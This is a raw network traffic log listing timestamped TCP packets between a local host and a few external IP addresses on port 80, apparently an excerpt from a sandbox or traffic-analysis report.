Sep 7, 2024 15:37:24.136897087 CEST	56480	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:24.141726017 CEST	80	56480	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:24.625905991 CEST	80	56480	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:24.627125025 CEST	56480	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:24.745393038 CEST	56481	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:24.750516891 CEST	80	56481	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:24.753334999 CEST	56481	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:24.753413916 CEST	56481	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:24.759614944 CEST	80	56481	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:24.762190104 CEST	56481	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:24.765646935 CEST	56482	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:24.770426989 CEST	80	56482	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:24.774185896 CEST	56482	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:24.774308920 CEST	56482	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:24.779103041 CEST	80	56482	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:25.261766911 CEST	80	56482	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:25.261925936 CEST	56482	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:25.262280941 CEST	56480	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:25.262315035 CEST	80	56482	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:25.262401104 CEST	56482	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:25.262686968 CEST	56483	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:25.275729895 CEST	80	56480	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:25.275805950 CEST	56480	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:25.275995016 CEST	80	56483	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:25.276091099 CEST	56483	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:25.276422977 CEST	56483	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:25.285114050 CEST	80	56483	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:25.765440941 CEST	80	56483	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:25.765520096 CEST	56483	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:25.867465019 CEST	56484	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:25.872503996 CEST	80	56484	64.70.19.203	192.168.2.3
Sep 7, 2024 15:37:25.872591972 CEST	56484	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:25.872658968 CEST	56484	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:25.878595114 CEST	80	56484	64.70.19.203	192.168.2.3
Sep 7, 2024 15:37:25.878648996 CEST	56484	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:25.893641949 CEST	56485	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:25.898513079 CEST	80	56485	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:25.900401115 CEST	56485	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:25.914150953 CEST	56485	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:25.922756910 CEST	80	56485	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:26.407851934 CEST	80	56485	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:26.408029079 CEST	56485	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:26.408459902 CEST	80	56485	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:26.408528090 CEST	56485	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:26.410260916 CEST	56483	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:26.410559893 CEST	56486	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:26.416399956 CEST	80	56483	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:26.416414022 CEST	80	56486	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:26.416471958 CEST	56483	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:26.416539907 CEST	56486	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:26.416842937 CEST	56486	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:26.423202038 CEST	80	56486	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:26.911992073 CEST	80	56486	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:26.912056923 CEST	56486	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:27.586719036 CEST	56487	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:27.592916965 CEST	80	56487	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:27.592998028 CEST	56487	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:27.593089104 CEST	56487	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:27.599224091 CEST	80	56487	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:27.599330902 CEST	56487	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:27.641525030 CEST	56488	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:27.646943092 CEST	80	56488	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:27.650192022 CEST	56488	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:27.650283098 CEST	56488	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:27.655493975 CEST	80	56488	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:28.151307106 CEST	80	56488	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:28.151443005 CEST	56488	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:28.151690960 CEST	56486	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:28.151813984 CEST	80	56488	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:28.151858091 CEST	56488	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:28.152139902 CEST	56489	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:28.159262896 CEST	80	56489	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:28.159337997 CEST	56489	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:28.159493923 CEST	56489	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:28.159673929 CEST	80	56486	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:28.159720898 CEST	56486	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:28.164750099 CEST	80	56489	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:28.668128014 CEST	80	56489	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:28.668215990 CEST	56489	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:29.383074999 CEST	56490	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:29.391793966 CEST	80	56490	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:29.391885996 CEST	56490	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:29.397948980 CEST	56490	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:29.402503014 CEST	56491	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:29.403393030 CEST	80	56490	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:29.403439045 CEST	56490	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:29.410034895 CEST	80	56491	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:29.410104990 CEST	56491	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:29.413902044 CEST	56491	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:29.424448967 CEST	80	56491	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:29.904067993 CEST	80	56491	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:29.904211044 CEST	56491	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:29.904459000 CEST	80	56491	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:29.904505014 CEST	56491	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:29.905987978 CEST	56489	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:29.906272888 CEST	56492	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:29.911520004 CEST	80	56489	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:29.911525965 CEST	80	56492	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:29.911596060 CEST	56489	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:29.911624908 CEST	56492	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:29.911753893 CEST	56492	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:29.917546034 CEST	80	56492	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:30.435060024 CEST	80	56492	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:30.435292959 CEST	56492	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:31.024338961 CEST	56493	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:31.029284954 CEST	80	56493	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:31.030208111 CEST	56493	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:31.030289888 CEST	56493	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:31.036025047 CEST	80	56493	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:31.036113977 CEST	56493	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:31.051513910 CEST	56494	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:31.061980009 CEST	80	56494	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:31.062206030 CEST	56494	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:31.069835901 CEST	56494	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:31.077013969 CEST	80	56494	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:31.552855968 CEST	80	56494	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:31.553009033 CEST	56494	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:31.553292990 CEST	56492	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:31.553437948 CEST	80	56494	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:31.553486109 CEST	56494	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:31.553586006 CEST	56495	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:31.558368921 CEST	80	56492	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:31.558465004 CEST	56492	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:31.558818102 CEST	80	56495	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:31.558901072 CEST	56495	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:31.559163094 CEST	56495	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:31.564332008 CEST	80	56495	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:32.043533087 CEST	80	56495	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:32.043607950 CEST	56495	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:33.242559910 CEST	56496	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:33.247564077 CEST	80	56496	64.70.19.203	192.168.2.3
Sep 7, 2024 15:37:33.247668982 CEST	56496	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:33.257555008 CEST	56496	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:33.262444019 CEST	56497	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:33.272041082 CEST	80	56496	64.70.19.203	192.168.2.3
Sep 7, 2024 15:37:33.272088051 CEST	56496	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:33.277406931 CEST	80	56497	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:33.277483940 CEST	56497	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:33.277595997 CEST	56497	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:33.282958031 CEST	80	56497	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:33.785463095 CEST	80	56497	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:33.785640955 CEST	56497	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:33.785851002 CEST	80	56497	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:33.785902023 CEST	56497	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:33.799354076 CEST	56495	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:33.799849987 CEST	56498	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:33.804564953 CEST	80	56495	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:33.804757118 CEST	80	56498	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:33.804836035 CEST	56498	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:33.805361986 CEST	56495	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:33.811089039 CEST	56498	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:33.816345930 CEST	80	56498	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:34.291198969 CEST	80	56498	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:34.291255951 CEST	56498	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:36.070331097 CEST	56498	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:36.076400042 CEST	80	56498	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:36.078197002 CEST	56498	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:36.976818085 CEST	56499	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:36.986515045 CEST	80	56499	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:36.986594915 CEST	56499	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:36.986743927 CEST	56499	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:36.992806911 CEST	80	56499	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:36.992877960 CEST	56499	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:37.035053015 CEST	56500	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:37.040066957 CEST	80	56500	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:37.040150881 CEST	56500	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:37.040235996 CEST	56500	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:37.045380116 CEST	80	56500	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:37.560738087 CEST	80	56500	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:37.561300993 CEST	80	56500	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:37.561386108 CEST	56500	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:37.561486959 CEST	56500	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:37.564867973 CEST	56501	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:37.573610067 CEST	80	56501	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:37.574198961 CEST	56501	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:37.574335098 CEST	56501	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:37.579500914 CEST	80	56501	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:38.068299055 CEST	80	56501	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:38.068355083 CEST	56501	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:39.180104971 CEST	56502	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:39.185930014 CEST	80	56502	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:39.186018944 CEST	56502	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:39.194828987 CEST	56502	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:39.199052095 CEST	56503	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:39.199873924 CEST	80	56502	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:39.199960947 CEST	56502	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:39.203990936 CEST	80	56503	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:39.204051971 CEST	56503	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:39.204154968 CEST	56503	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:39.209868908 CEST	80	56503	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:39.689551115 CEST	80	56503	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:39.689595938 CEST	80	56503	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:39.689641953 CEST	56503	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:39.690905094 CEST	56503	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:39.691689968 CEST	56504	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:39.692509890 CEST	56501	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:39.696537971 CEST	80	56504	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:39.696599007 CEST	56504	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:39.697647095 CEST	80	56501	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:39.698141098 CEST	56501	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:39.713505983 CEST	56504	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:39.718362093 CEST	80	56504	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:40.204983950 CEST	80	56504	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:40.208225965 CEST	56504	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:40.304857016 CEST	56505	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:40.309851885 CEST	80	56505	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:40.309941053 CEST	56505	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:40.310055971 CEST	56505	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:40.318125963 CEST	80	56505	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:40.318176985 CEST	56505	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:40.346009970 CEST	56506	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:40.350982904 CEST	80	56506	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:40.351712942 CEST	56506	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:40.366684914 CEST	56506	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:40.371546030 CEST	80	56506	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:40.834784985 CEST	80	56506	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:40.834992886 CEST	80	56506	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:40.835074902 CEST	56506	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:40.835138083 CEST	56506	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:40.877152920 CEST	56504	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:40.877466917 CEST	56507	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:40.882232904 CEST	80	56507	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:40.882397890 CEST	80	56504	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:40.882467031 CEST	56504	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:40.882481098 CEST	56507	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:40.884844065 CEST	56507	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:40.889668941 CEST	80	56507	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:41.370246887 CEST	80	56507	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:41.370321035 CEST	56507	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:41.477488041 CEST	56508	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:41.482546091 CEST	80	56508	64.70.19.203	192.168.2.3
Sep 7, 2024 15:37:41.482635021 CEST	56508	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:41.482783079 CEST	56508	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:41.488511086 CEST	56509	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:41.490693092 CEST	80	56508	64.70.19.203	192.168.2.3
Sep 7, 2024 15:37:41.490772009 CEST	56508	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:41.494323969 CEST	80	56509	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:41.494406939 CEST	56509	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:41.507464886 CEST	56509	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:41.512317896 CEST	80	56509	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:41.981333017 CEST	80	56509	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:41.981472969 CEST	56509	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:41.981713057 CEST	56507	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:41.982013941 CEST	80	56509	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:41.982039928 CEST	56510	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:41.982074022 CEST	56509	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:41.987081051 CEST	80	56507	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:41.987143040 CEST	56507	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:41.987214088 CEST	80	56510	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:41.987282991 CEST	56510	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:41.987454891 CEST	56510	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:41.992338896 CEST	80	56510	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:42.473678112 CEST	80	56510	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:42.473745108 CEST	56510	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:43.635947943 CEST	56511	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:43.640978098 CEST	80	56511	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:43.641064882 CEST	56511	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:43.641252995 CEST	56511	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:43.645107031 CEST	56512	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:43.646203995 CEST	80	56511	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:43.646260023 CEST	56511	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:43.649921894 CEST	80	56512	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:43.650001049 CEST	56512	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:43.650074959 CEST	56512	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:43.654841900 CEST	80	56512	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:44.671250105 CEST	80	56512	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:44.671262980 CEST	80	56512	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:44.671272039 CEST	80	56512	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:44.671289921 CEST	80	56512	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:44.671329021 CEST	56512	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:44.671369076 CEST	56512	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:44.671369076 CEST	56512	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:44.671474934 CEST	56512	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:44.671710968 CEST	56510	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:44.671977043 CEST	56513	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:44.676785946 CEST	80	56513	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:44.676820040 CEST	80	56510	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:44.676851988 CEST	56513	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:44.676882029 CEST	56510	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:44.677045107 CEST	56513	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:44.681811094 CEST	80	56513	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:45.163918018 CEST	80	56513	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:45.164000034 CEST	56513	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:46.539177895 CEST	56514	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:46.544044971 CEST	80	56514	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:46.544137955 CEST	56514	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:46.554305077 CEST	56514	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:46.558793068 CEST	56515	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:46.559182882 CEST	80	56514	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:46.559242010 CEST	56514	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:46.563559055 CEST	80	56515	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:46.563625097 CEST	56515	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:46.563719034 CEST	56515	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:46.568454981 CEST	80	56515	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:47.049837112 CEST	80	56515	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:47.049876928 CEST	80	56515	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:47.049946070 CEST	56515	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:47.050045013 CEST	56515	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:47.066606998 CEST	56513	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:47.066911936 CEST	56516	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:47.071707964 CEST	80	56516	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:47.071764946 CEST	80	56513	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:47.071805000 CEST	56516	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:47.071856022 CEST	56513	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:47.072974920 CEST	56516	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:47.077744007 CEST	80	56516	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:47.582818031 CEST	80	56516	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:47.582878113 CEST	56516	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:47.680023909 CEST	56517	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:47.684775114 CEST	80	56517	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:47.684838057 CEST	56517	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:47.694828033 CEST	56517	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:47.699125051 CEST	56518	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:47.699770927 CEST	80	56517	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:47.699860096 CEST	56517	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:47.703933954 CEST	80	56518	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:47.704024076 CEST	56518	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:47.704130888 CEST	56518	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:47.708851099 CEST	80	56518	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:48.204586983 CEST	80	56518	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:48.204605103 CEST	80	56518	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:48.204693079 CEST	56518	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:48.204742908 CEST	56518	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:48.204946995 CEST	56516	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:48.205229044 CEST	56519	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:48.210078955 CEST	80	56516	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:48.210094929 CEST	80	56519	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:48.210150003 CEST	56516	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:48.210186005 CEST	56519	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:48.210339069 CEST	56519	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:48.215106964 CEST	80	56519	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:48.692588091 CEST	80	56519	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:48.694006920 CEST	56519	80	192.168.2.3	172.234.222.138
